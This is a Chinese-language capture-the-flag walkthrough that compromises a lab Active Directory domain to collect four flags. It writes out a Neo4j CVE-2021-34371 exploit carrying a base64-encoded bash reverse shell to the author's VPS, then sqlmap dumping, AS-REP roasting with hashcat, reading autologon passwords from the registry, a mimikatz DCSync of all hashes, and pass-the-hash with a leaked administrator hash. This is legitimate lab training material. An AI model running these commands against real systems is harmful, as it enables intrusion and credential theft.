flag1
fscan扫一下./fscan.exe -h 39.99.225.0 -p 1-65535
扫出来有个Neo4j Browser,存在nday(https://github.com/zwjjustdoit/CVE-2021-34371.jar),弹个shell到自己vps上,用户目录直接拿flag
1 | java -jar .\rhino_gadget.jar rmi://39.99.128.12:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUueHgueHgueHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" |

flag2
从vps上下载相关工具开始打内网
扫一下内网
1 | 172.22.6.25:135 open |
1 | 172.22.6.38 web机器,可以后台登录? |
搭建个隧道看看38,认真的?万能密码直接就登录成功,那么sqlmap一把梭哈
burpsuite本身就可以建立socks5代理

然后sqlmap一把梭(注意一下是socks5协议)
1 | sqlmap.py -r "sql.txt" --proxy "socks5://ip:port" --dump |

得到flag2和一堆用户
flag3&flag4
写个脚本把用户名提取出来保存为user.txt
1 | import re |
利用获取到的用户进行ASREPRoast攻击
ASREPRoast攻击是一种离线爆破用户账号的攻击方式,它利用了Kerberos预身份验证的局限性。攻击者需要用户账号设置“不要求Kerberos预身份验证”选项,而该选项默认是没有勾选的。当攻击者勾选了该选项后,域控不会进行任何验证,直接返回用户Hash加密的Session Key。攻击者可以使用这些Session Key进行离线破解,如果字典足够强大,就能破解得到该指定用户的明文密码。
使用指定用户向域控制器的Kerberos 88端口请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。进行离线破解,得到账户密码
1 | AS-REP |
简单来说问题发生在Kerberos认证的AS-REP阶段,正常它是会对AS-REQ请求进行验证,但是这里没有验证造成了安全漏洞
1 | proxychains4 impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ |
拿到
1 | $krb5asrep$23$zhangxin@XIAORANG.LAB:8daf09967e221dc17252826aa139c286$656611f099399fde29fa03f432c21f06184ffdd14850e4707a694267aac71b7eaaa09f79540bb2e4fcbfb2647c4b7a8391116df720373e9229c730f2157b8b8df6509a456c2af34ad0529d11331b1b5ef60626764302353ae458249c1c8e75692f9bd1ea909b8bd95c3b028757d1c3262de05678284e09c449d0fc4e51ffe96c5c9409da44ad49e025494b10551b6de744d38741a40dc3980a357cfd1c6010672fa7b653e64932b51bc93ccb0552c2eddd1b0d13ea842c52dacaddafab9ec64b15eb36b9fa907418493005c014a40db6a3e96c4b1cbfb4c2a627eb4a575089b0426af9a70895290ec0fdd476 |
利用hashcat进行破解
1 | hashcat -a 0 -m 18200 --force hash.txt rockyou.txt |
rdp试一下172.22.6.25成功了,但是没权限啊,太低了权限
query user看看还有谁登录

发现yuxuan,用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019,很多用户习惯将计算机设置自动登录,这样就可以查询注册表来获取自动登录的用户名和密码了。
1 | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |

使用这个用户重新去登录一下,然后使用工具SharpHound进行数据采集
1 | SharpHound.exe -c all |
我之前采集的是zhangxin,后面搞烦了,看wp打好多都不明所以然,自己盲打就困难。直接拿师傅们的图

发现这个用户滥用了SID历史功能
SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的SIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限
也就是说该用户在域迁移后,仍拥有前域的权限。那么去dump hash
1 | mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit" |

直接把域管理员哈希dump了,所以相当于已经拿下域控了,接下来就是PTH
1 | proxychains4 impacket-wmiexec XIAORANG/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 |
这里不知道是我开着梯子还是什么鬼原因,导致一开始一直time out后面把梯子关了,重启了一下kali就好了
1 | 分别拿flag |